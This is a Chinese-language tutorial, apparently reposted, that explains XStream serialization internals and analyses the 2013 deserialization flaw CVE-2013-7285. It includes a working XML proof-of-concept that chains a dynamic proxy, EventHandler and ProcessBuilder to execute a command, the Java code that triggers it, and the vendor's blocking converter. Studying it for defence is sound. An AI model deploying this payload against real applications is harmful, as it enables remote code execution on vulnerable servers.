Java 反序列化之 XStream 反序列化

news2024/10/7 4:23:28

0x01 XStream 基础

XStream 简介

XStream 是一个简单的基于 Java 库,Java 对象序列化到 XML,反之亦然(即:可以轻易的将 Java 对象和 XML 文档相互转换)。

使用 XStream 实现序列化与反序列化

下面看下如何使用 XStream 进行序列化和反序列化操作的。

先定义接口类

IPerson.java

public interface IPerson {  
    void output();  
}

接着定义 Person 类实现前面的接口:

public class Person implements IPerson {  
    String name;  
    int age;  
  
    public void output() {  
        System.out.print("Hello, this is " + this.name + ", age " + this.age);  
    }  
}

XStream 序列化是调用 XStream.toXML() 来实现的:

public class Serialize {  
    public static void main(String[] args) {  
        Person p = new Person();  
        p.age = 6;  
        p.name = "Drunkbaby";  
        XStream xstream = new XStream(new DomDriver());  
        String xml = xstream.toXML(p);  
        System.out.println(xml);  
    }  
}

XStream 反序列化是用过调用 XStream.fromXML() 来实现的,其中获取 XML 文件内容的方式可以通过 Scanner()FileInputStream 都可以:

Deserialize.java

import com.thoughtworks.xstream.XStream;  
import com.thoughtworks.xstream.io.xml.DomDriver;  
  
import java.io.File;  
import java.io.FileInputStream;  
import java.io.FileNotFoundException;  
import java.util.Scanner;  
  
public class Deserialize {  
    public static void main(String[] args) throws FileNotFoundException {  
//        String xml = new Scanner(new File("person.xml")).useDelimiter("\\Z").next();  
        FileInputStream xml = new FileInputStream("G:\\OneDrive - yapuu\\Java安全学习\\JavaSecurityLearning\\JavaSecurity\\XStream\\XStream\\XStream-Basic\\src\\main\\java\\person.xml");  
        XStream xstream = new XStream(new DomDriver());  
        Person p = (Person) xstream.fromXML(xml);  
        p.output();  
    }  
}

XStream 几个部分

XStream 类图,参考XStream 源码解析:

主要分为四个部分:

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

MarshallingStrategy 编码策略

  • marshall : object->xml 编码
  • unmarshall : xml-> object 解码

两个重要的实现类:

  • com.thoughtworks.xstream.core.TreeMarshaller : 树编组程序
  • 调用 Mapper 和 Converter 把 XML 转化成 Java 对象

其中的 start 方法开始编组

其中调用了 this.convertAnother(item) 方法

convertAnother 方法的作用是把 XML 转化成 Java 对象。

Mapper 映射器

简单来说就是通过 mapper 获取对象对应的类、成员、Field 属性的 Class 对象,赋值给 XML 的标签字段。

Converter 转换器

XStream 为 Java 常见的类型提供了 Converter 转换器。转换器注册中心是 XStream 组成的核心部分。

转换器的职责是提供一种策略,用于将对象图中找到的特定类型的对象转换为 XML 或将 XML 转换为对象。

简单地说,就是输入 XML 后它能识别其中的标签字段并转换为相应的对象,反之亦然。

转换器需要实现 3 个方法,这三个方法分别是来自于 Converter 类以及它的父类 ConverterMatcher

  • canConvert 方法:告诉 XStream 对象,它能够转换的对象;
  • marshal 方法:能够将对象转换为 XML 时候的具体操作;
  • unmarshal 方法:能够将 XML 转换为对象时的具体操作;

具体参考:http://x-stream.github.io/converters.html

这里告诉了我们针对各种对象,XStream 都做了哪些支持。

EventHandler 类

EventHandler 类为动态生成事件侦听器提供支持,这些侦听器的方法执行一条涉及传入事件对象和目标对象的简单语句。

EventHandler 类是实现了 InvocationHandler 的一个类,设计本意是为交互工具提供 beans,建立从用户界面到应用程序逻辑的连接。

EventHandler 类定义的代码如下,其含有 target 和 action 属性,在 EventHandler.invoke()->EventHandler.invokeInternal()->MethodUtil.invoke() 的函数调用链中,会将前面两个属性作为类方法和参数继续反射调用:

public class EventHandler implements InvocationHandler {  
    private Object target;  
    private String action;  
	...  
	  
	public Object invoke(final Object proxy, final Method method, final Object[] arguments) {  
        ...  
                return invokeInternal(proxy, method, arguments);  
        ...  
    }  
      
	private Object invokeInternal(Object proxy, Method method, Object[] arguments) {  
        ...  
              
                Method targetMethod = Statement.getMethod(  
                             target.getClass(), action, argTypes);  
                ...  
                return MethodUtil.invoke(targetMethod, target, newArgs);  
            }  
            ...  
    }  
  
	...  
}

这里重点看下 EventHandler.invokeInternal() 函数的代码逻辑,如注释:

private Object invokeInternal(Object var1, Method var2, Object[] var3) {  
//-------------------------------------part1----------------------------------  
//作用:获取interface的name,即获得Comparable,检查name是否等于以下3个名称  
        String var4 = var2.getName();  
        if (var2.getDeclaringClass() == Object.class) {  
            if (var4.equals("hashCode")) {  
                return new Integer(System.identityHashCode(var1));  
            }  
  
            if (var4.equals("equals")) {  
                return var1 == var3[0] ? Boolean.TRUE : Boolean.FALSE;  
            }  
  
            if (var4.equals("toString")) {  
                return var1.getClass().getName() + '@' + Integer.toHexString(var1.hashCode());  
            }  
        }  
//-------------------------------------part2----------------------------------  
//貌似获取了一个class和object  
        if (this.listenerMethodName != null && !this.listenerMethodName.equals(var4)) {  
            return null;  
        } else {  
            Class[] var5 = null;  
            Object[] var6 = null;  
            if (this.eventPropertyName == null) {  
                var6 = new Object[0];  
                var5 = new Class[0];  
            } else {  
                Object var7 = this.applyGetters(var3[0], this.getEventPropertyName());  
                var6 = new Object[]{var7};  
                var5 = new Class[]{var7 == null ? null : var7.getClass()};  
            }  
//------------------------------------------------------------------------------  
            try {  
                int var12 = this.action.lastIndexOf(46);  
                if (var12 != -1) {  
                    this.target = this.applyGetters(this.target, this.action.substring(0, var12));  
                    this.action = this.action.substring(var12 + 1);  
                }  
//--------------------------------------part3----------------------------------------  
//var13获取了method的名称, var13=public java.lang.Process java.lang.ProcessBuilder.start() throws java.io.IOException  
                Method var13 = Statement.getMethod(this.target.getClass(), this.action, var5);  
//--------------------------------------------------------------------------  
//判断var13是否为空,当然不为空啦  
                if (var13 == null) {  
                    var13 = Statement.getMethod(this.target.getClass(), "set" + NameGenerator.capitalize(this.action), var5);  
                }  
  
                if (var13 == null) {  
                    String var9 = var5.length == 0 ? " with no arguments" : " with argument " + var5[0];  
                    throw new RuntimeException("No method called " + this.action + " on " + this.target.getClass() + var9);  
                } else {  
//-------------------------------------part4----------------------------------  
//调用invoke,调用函数,执行命令  
                    return MethodUtil.invoke(var13, this.target, var6);  
                }  
//------------------------------------------------------------------------------  
            } catch (IllegalAccessException var10) {  
                throw new RuntimeException(var10);  
            } catch (InvocationTargetException var11) {  
                Throwable var8 = var11.getTargetException();  
                throw var8 instanceof RuntimeException ? (RuntimeException)var8 : new RuntimeException(var8);  
            }  
        }  
}

有一说一看到这里的时候,就感觉 XStream 可能比较多的会通过动态代理作为 sink

DynamicProxyConverter 动态代理转换器

DynamicProxyConverter 即动态代理转换器,是 XStream 支持的一种转换器,其存在使得 XStream 能够把 XML 内容反序列化转换为动态代理类对象:

XStream 反序列化漏洞的 PoC 都是以 DynamicProxyConverter 这个转换器为基础来编写的。

以官网给的例子为例:

<dynamic-proxy>  
  <interface>com.foo.Blah</interface>  
  <interface>com.foo.Woo</interface>  
  <handler class="com.foo.MyHandler">  
    <something>blah</something>  
  </handler>  
</dynamic-proxy>

dynamic-proxy 标签在 XStream 反序列化之后会得到一个动态代理类对象,当访问了该对象的com.foo.Blahcom.foo.Woo 这两个接口类中声明的方法时(即 interface 标签内指定的接口类),就会调用 handler 标签中的类方法 com.foo.MyHandler

0x02 CVE-2013-7285

PoC

<sorted-set>  
  <dynamic-proxy>  
    <interface>java.lang.Comparable</interface>  
    <handler class="java.beans.EventHandler">  
      <target class="java.lang.ProcessBuilder">  
        <command>  
          <string>Calc</string>  
        </command>  
      </target>  
      <action>start</action>  
    </handler>  
  </dynamic-proxy>  
</sorted-set>

看到 PoC 这里大致是明白了,在之前有一段代码是读取每一个 XML 的节点,读取这些节点之后应该是用动态代理触发 invoke()

触发代码

import com.thoughtworks.xstream.XStream;  
import com.thoughtworks.xstream.io.xml.DomDriver;  
  
import java.io.FileInputStream;  
  
// CVE_2013_7285 Exploit  
public class CVE_2013_7285 {  
    public static void main(String[] args) throws Exception{  
        FileInputStream fileInputStream = new FileInputStream("G:\\OneDrive - yapuu\\Java安全学习\\JavaSecurityLearning\\JavaSecurity\\XStream\\XStream\\XStream-Basic\\src\\main\\java\\person.xml");  
        XStream xStream = new XStream(new DomDriver());  
        xStream.fromXML(fileInputStream);  
    }  
}

漏洞原理

XStream 反序列化漏洞的存在是因为 XStream 支持一个名为 DynamicProxyConverter 的转换器,该转换器可以将 XML 中 dynamic-proxy 标签内容转换成动态代理类对象,而当程序调用了 dynamic-proxy 标签内的 interface 标签指向的接口类声明的方法时,就会通过动态代理机制代理访问 dynamic-proxy 标签内 handler 标签指定的类方法。

利用这个机制,攻击者可以构造恶意的XML内容,即 dynamic-proxy 标签内的 handler 标签指向如 EventHandler 类这种可实现任意函数反射调用的恶意类、interface 标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意 XML 内容后即可触发反序列化漏洞、达到任意代码执行的目的。

漏洞分析

下断点调试一下,这里前面的流程和分析 XStream 流程是类似的,会调用HierarchicalStreams.readClassType() 来获取到 PoC XML 中根标签的类类型

后面会跟进到 mapper.realClass() 进行循环遍历,用来查找 XML 中的根标签为何类型(前面也都分析过了),接着是调用 convertAnother() 函数对 java.util.SortedSet 类型进行转换,我们跟进去该函数,其中调用 mapper.defaultImplementationOf() 函数来寻找 java.util.SortedSet 类型的默认实现类型进行替换,这里转换为了 java.util.TreeSet 类型

接着就是寻找 Convert 的过程,这里寻找到对应的转换器是 TreeMapConverter 转换器

往下调试,在 AbstractReferenceUnmarshaller.convert() 函数中看到,会调用 getCurrentReferenceKey() 来获取当前的 Reference 键,并且会将当前的 Reference 键压到栈中,这个 Reference 键后续会和保存的类型 —— java.util.TreeSet 类一一对应起来。

接着调用其父类即的 FastStack.convert() 方法,跟进去,显示将类型压入栈,然后调用转换器 TreeSetConverter 的 unmarshal() 方法:

在它第 61 行调用了 treeMapConverter.unmarshalComparator() 方法,这个方法获取到了第二个 XML 节点元素,这个方法当时漏看了,这个方法还是比较重要的,它获取到了 xml 根元素的子元素。

跟进之后就变得一目了然了,其中判断 reader 是否还有子元素

下面的 reader.movedown() 方法做了获取子元素,并把子元素添加到当前 context 的 pathTracker

往下调试,在 TreeSetConverter.unmarshal() 方法中调用了 this.treeMapConverter.populateTreeMap(),从这个方法开始,XStream 开始处理了 XML 里面其他的节点元素。跟进该函数,先判断是否是第一个元素,是的话就调用 putCurrentEntryIntoMap()函数,即将当前内容缓存到 Map 中:

跟进去,发现调用 readItem() 方法读取标签内的内容并缓存到当前 Map 中

这里再跟进 readItem() 方法,会发现比较有意思的一点是它又调用了 HierarchicalStreams.readClassType()context.convertAnother() 方法,而这里的元素已经变成了第二个元素,也就是 <dynamic-proxy>,这里有点像是递归调用

可以跟进去看一下,这里通过查看 mapper 可以知道目前拿去保存在 mapper 当中的还是两个元素,而 XStream 的处理,则会处理最新的一个(最里层的一个)

经过处理之后返回的 type 就为最新的一个子元素的类型,这里是 com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy,对应的转换器为 DynamicProxyConverter,跟进到其中来看具体处理。

先判断当前元素是否还有子元素,并获取该子元素进行后续判断

根据我们所编写的 xml,获取到的子元素为 <interface>,经过判断 if (elementName.equals("interface")),如果为 true,则将目前 <interface> 节点的元素获取到,再获得转换类型。

因为仍旧存在子元素,获取完 <interface> 后重新进入这个迭代,下一个获取到的子元素是 <handler>。这里程序会判断是否等于 handler,如果等于 handler,则获取它标签所对应的类,并跳出迭代。

往下走,第 125 行调用了 Proxy.newProxyInstance() 方法,这里是动态代理中的,实例化代理类的过程。第 127 行这里,调用 context.convertAnother() 方法,跟进一下。对应的转换器是 AbstractReflectionConverter,它会先调用 instantiateNewInstance() 方法实例化一个 EventHandler

往下,跟进 doUnmarshal() 方法,这里又是一层内部递归,从 xml 中可以看到 <handler> 节点之下还有很多子节点(又看到了熟悉的 hasChildren()

这时我们获取到的 type 为 class java.lang.ProcessBuilder,跟进 unmarshallField() 方法

后面也都是类似的运行流程了,这里就不再废话,师傅们可以自行分析一下,是很容易看懂的;XSteam 虽然处理了 xml,且我们也基本明白了基础运行流程,但是最后漏洞触发这里还是要关注一下。

将所有的节点过完一遍之后,最终还是会走到 treeMapConverter.populateTreeMap() 这个地方

跟进,直到第 122 行,调用 put.All() 方法,里面的变量为 sortedMap,查看一下它的值可以发现这是一串链式存储的数据

最终是调用到 EventHandler.invoke() 方法调用栈如下,还是比较简单的

invoke:428, EventHandler (java.beans)
compareTo:-1, $Proxy0 (com.sun.proxy)
compare:1294, TreeMap (java.util)
put:538, TreeMap (java.util)
putAll:281, AbstractMap (java.util)
putAll:327, TreeMap (java.util)
populateTreeMap:122, TreeMapConverter (com.thoughtworks.xstream.converters.collections)

最后成功调用了 java.lang.ProcessBuilder#start 方法,命令执行

0x03 漏洞修复

根据官方的修复手段,这里其实增加了黑名单

Users can register an own converter for dynamic proxies, the java.beans.EventHandler type or for the java.lang.ProcessBuilder type, that also protects against an attack for this special case:

xstream.registerConverter(new Converter() {
  public boolean canConvert(Class type) {
    return type != null && (type == java.beans.EventHandler || type == java.lang.ProcessBuilder || Proxy.isProxy(type));
  }

  public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
    throw new ConversionException("Unsupported type due to security reasons.");
  }

  public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
    throw new ConversionException("Unsupported type due to security reasons.");
  }
}, XStream.PRIORITY_LOW);

0x04 小结

XStream 最基础的漏洞是 CVE-2013-7285,通过这个漏洞可以很好的先认识 XStream 的基础运行流程,后续的漏洞挖掘和修复也算是一些《攻防史》,还是比较有意思的

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/683514.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Scala面向对象【上】

Scala 面向对象 Scala的面向对象思想和Java是一致的&#xff0c;只不过在语法上增加了更多的功能。 1、Scala 包 和 Java 一致。 1.1、包对象 在 Scala 中可以为每个包定义一个同名的包对象&#xff0c;定义在包对象中的成员&#xff0c;作为其对应包下所有 class 和 objec…

Kafka详解

文章目录 1、kafka简单介绍2、kafka使用场景3、kafka基本概念4、kafka集群1、数据冗余2、分区的写入1、使用 Partition Key 写入特定 Partition2、由 kafka 决定3、自定义规则 3、读取分区数据 5、提交策略6、kafka如何保证高并发 1、kafka简单介绍 kafka是一款分布式、支持分…

Java阶段四Day08

Java阶段四Day08 文章目录 Java阶段四Day08关于pom.xml中的版本关于Session关于Token关于JWT在项目中使用JWTCustomUserDetailsUserDetailServiceImplUserServiceImpl 关于pom.xml中的版本 查看<groupId> 是同一家的只需配一个版本号<version><artifactId>中…

C# 线程基础

目录 一、概述 二、线程的创建 三、线程的休眠 四、线程的等待 五、线程的终止 六、线程的状态 七、线程的优先级 一、概述 线程&#xff08;Thread&#xff09;是进程中的基本执行单元&#xff0c;是操作系统分配CPU时间的基本单位&#xff0c;一个进程可以包含若干个…

【FPGA入门】第七篇、FPGA驱动VGA实现动态图像移动

目录 第一部分、实现效果 第二部分、动态VGA显示的原理 1、将动态显示的区域提前进行赋值 2、图像块的移动是每张图片叠加后的效果 3、如何实现图像块位置的改变 第三部分、系统结构和驱动波形 1、系统的Top-down结构 2、图像块移动的驱动波形 第四部分、代码 1、同步…

大语模型前世今生

引言&#xff1a;席卷世界的大语言模型浪潮 2022年11月30日&#xff0c;OpenAI公司发布了ChatGPT。这迅速成为了社会各界关注的焦点&#xff0c;ChatGPT能够如此快速&#xff0c;准确的完成文本生成&#xff0c;信息抽取&#xff0c;机器翻译&#xff0c;甚至代码生成等复杂任务…

数字化转型|银行业数据中心数字化转型之模型篇 01

导语&#xff1a; 银行业数据中心数字化转型是一项系统性工程&#xff0c;既涉及管理层面转型——包括数字化转型战略、基础架构和技术架构转型、技术创新和知识体系转型&#xff0c;又涉及执行层面转型——包括人员管理&#xff08;P&#xff09;、流程管理&#xff08;P&…

突破官方限制!最强TV观影神器我都给你找来了!

随着移动互联网的兴起&#xff0c;我想很多人家里的电视机都积起了灰&#xff0c;大家追剧的设备都从电视机变成了手机、平板、电脑 但这两年&#xff0c;我发现这个事情又慢慢有在转变了&#xff1a;随着大家&#xff08;尤其是年轻人&#xff09;对观看体验的追求&#xff0…

接口的学习

接口 接口可以理解为一种规则&#xff0c;是对行为的抽象 如何定义一个接口 使用关键词interface定义 public interface 接口名{} 接口不能实例化 接口和类之间是实现关系&#xff0c;通过关键词implements关键字表示 public class 类名 implements 接口名{} 接口的子类…

三个数据恢复方法解决移动硬盘数据丢失问题!

移动硬盘容量大、写入和读取速度快&#xff0c;受到很多人的欢迎。但是&#xff0c;无论数据存储在何处&#xff0c;都有数据丢失的风险。今天&#xff0c;小编来介绍一下移动硬盘数据恢复的方法&#xff0c;以免大家不慎删除移动硬盘数据而陷入无助的境地! 方法1.使用命令恢复…

全网最详细,性能测试-测试方法总结(压力/负载)超详细

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 并发/负载/压力理…

leetcode123. 买卖股票的最佳时机 III(java)

买卖股票的最佳时机 leetcode123. 买卖股票的最佳时机 III题目描述动态规划代码演示 动态规划专题 leetcode123. 买卖股票的最佳时机 III 来源&#xff1a;力扣&#xff08;LeetCode&#xff09; 链接&#xff1a;https://leetcode.cn/problems/best-time-to-buy-and-sell-sto…

API手册使用方式说明

API手册使用方式说明 其实我们在API阶段,更多是要去学习别人已有内容,比如方法的使用 但是这么多的方法对于新手来说其实是不太友好的,刚开始根本记不住呀 所以API手册就是我们的一个好帮手,我们可以在API手册查到目标内容的介绍 类似于小学刚学字的时候,不会的字就可以去查字…

连接器信号完整性仿真教程 四

本文详细讲解了CST做连接器信号完整性仿真时,如何从材料库中载入材料,如何新增材料、如何编辑材料属性、如何将材料添加到库中,以及如何设置仿真模型材料、并以实例逐步做了详细演示。 一 从材料库中载入材料 从材料库中载入材料有两种方法。 方法一 点击菜单"Modelin…

Android 12 以上PendingIntent使用注意FLAG_IMMUTABLE

遇到如下报错&#xff1a; Fatal Exception: java.langlllegalArgumentException : Targeting S (version 31 and above) reures that one of FLAG_MMUTABLE r FLA-MUTABLE be specfed when creating a Pendinglntent. Strongly consider using FLAG_JMMUTABLE only use FLAG_M…

Redis的缓存类型分析

HashMap/ConcurrentHashMap HashMap 是一种基于哈希表的集合类&#xff0c;它提供了快速的插入、查找和删除操作。是很多程序员接触的第一种缓存 , 因为现实业务场景里&#xff0c;我们可能需要给缓存添加缓存统计、过期失效、淘汰策略等功能&#xff0c;HashMap 的功能就显得…

如何搭建产品知识库?让产品知识库管理更有序高效!

在现代企业中&#xff0c;一个完善的产品知识库对于提升团队的工作效率和产品质量至关重要。本文将介绍如何搭建一个高效的产品知识库&#xff0c;并提供一些管理方法&#xff0c;以使知识库的管理更有序、高效。 随着科技的不断进步和市场竞争的加剧&#xff0c;企业对于高效…

python基础学习--01

1.python环境的安装&#xff1a; 1.安装 Python 解释器&#xff1a;https://www.python.org/ 1.选择下载&#xff1a; 2.选择windows x86 -64 可执行的安装文件 (根据自己电脑的操作系统选择&#xff09; 3.安装完成后 左下角点击开始地方能看到这些说明安装好了。 4.安装…

SpringBoot原理(1)--@SpringBootApplication注解使用和原理

文章目录 前言主启动类的配置SpringBootConfiguration注解验证启动类是否被注入到spring容器中 ComponentScan 注解ComponentScan 注解解析与路径扫描 EnableAutoConfiguration注解 问题解答1.AutoConfigurationPackage和ComponentScan的作用是否冲突起因回答 2.为什么能实现自…

双路高速 AD 实验

目录 双路高速 AD 实验 1、简介 3PA1030 芯片 2、实验任务 3、程序设计 3.1、hs_dual_ad 模块代码 clk_wiz IP 核 的添加方法 ILA IP 核&#xff08;集成逻辑分析器&#xff1a;Integrated Logic Analyzer&#xff0c;ILA&#xff09; 4、硬件设计 4.1、添加.xdc约束…